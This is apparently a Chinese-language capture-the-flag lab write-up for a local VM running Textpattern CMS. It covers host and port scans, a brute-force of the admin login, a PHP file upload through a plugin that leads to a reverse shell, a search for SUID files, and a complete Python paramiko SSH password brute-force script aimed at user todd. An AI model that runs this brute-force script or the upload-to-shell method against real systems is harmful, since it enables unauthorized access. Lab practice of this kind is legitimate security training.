为什么全世界的恋我都失一遍

为所有的悲剧当特约演员

我伤得断肠我哭的夸张

像一套港产片

信息收集

主机发现

┌──(root㉿kali)-[/home/kali]
└─# arp-scan -I eth1 192.168.56.0/24
Interface: eth1, type: EN10MB, MAC: 00:0c:29:34:da:f5, IPv4: 192.168.56.103
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:04       (Unknown: locally administered)
192.168.56.100  08:00:27:7a:69:65       (Unknown)
192.168.56.147  08:00:27:1f:4e:4b       (Unknown)

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.908 seconds (134.17 hosts/sec). 3 responded

端口扫描

┌──(root㉿kali)-[/home/kali]
└─# nmap -p- 192.168.56.147
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-15 08:40 EDT
Nmap scan report for 192.168.56.147
Host is up (0.00079s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:1F:4E:4B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 20.07 seconds

这里我改了一下host

网站是由Textpattern CMS搭建的

去看了一下这个CMS已经披露的漏洞，都是需要有认证才能拿到shell

然后我找了一下这个网站的后台地址

不过用户名怎么输入，登录失败网站只有下面一种报错

其实对于这种只有一种报错信息的我是挺不愿意尝试去爆破的。因为我无法得知我所要爆破的用户名是否正确

我在Arricles页面看到一个用户名

其实当时也想过在忘记密码这个页面来验证username是否有效

但是不论是什么username他都会显示emai发送成功

当时也怀疑过这个是一个账户名

然后我就去找了一个官方的演示站点

登录上去看了一下

显然这里显示的不是username

然后就无奈试了试爆破admin

嘿，还真爆出来了

382515fee378bb4935f51776baf35291

然后我在插件处找了一个上传的地方

上传了一个php文件上去

文件内容

然后你就会发现网站到处都是phpinfo();

然后我就弹了一个shell

提取

找了一下有s权限的文件

看到有两个sudo, 想着其中一个肯定不对劲

但是不知道怎么利用

然后还有一个todd这个普通用户

就想着先提权到 todd然后再看下一步

用hydra去爆破todd密码会报错

用python写小脚本也不能频繁爆破

貌似是做了防爆破措施

这里放一下python脚本的内容

import paramiko

host = "192.168.56.147"
port = 22
username = "todd"
password_file = "/usr/share/wordlists/rockyou.txt"  # 你的密码字典路径

def try_ssh(password):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(hostname=host, port=port, username=username, password=password, timeout=5)
        print(f"[+] 登录成功！密码是: {password}")
        ssh.close()
        return True
    except paramiko.AuthenticationException:
        print(f"[-] 密码错误: {password}")
        return False
    except Exception as e:
        print(f"[-] 连接错误: {e}")
        return False

def main():
    with open(password_file, "r", errors="ignore") as f:
        for line in f:
            pwd = line.strip()
            if try_ssh(pwd):
                print("[*] 爆破结束。")
                break

if __name__ == "__main__":
    main()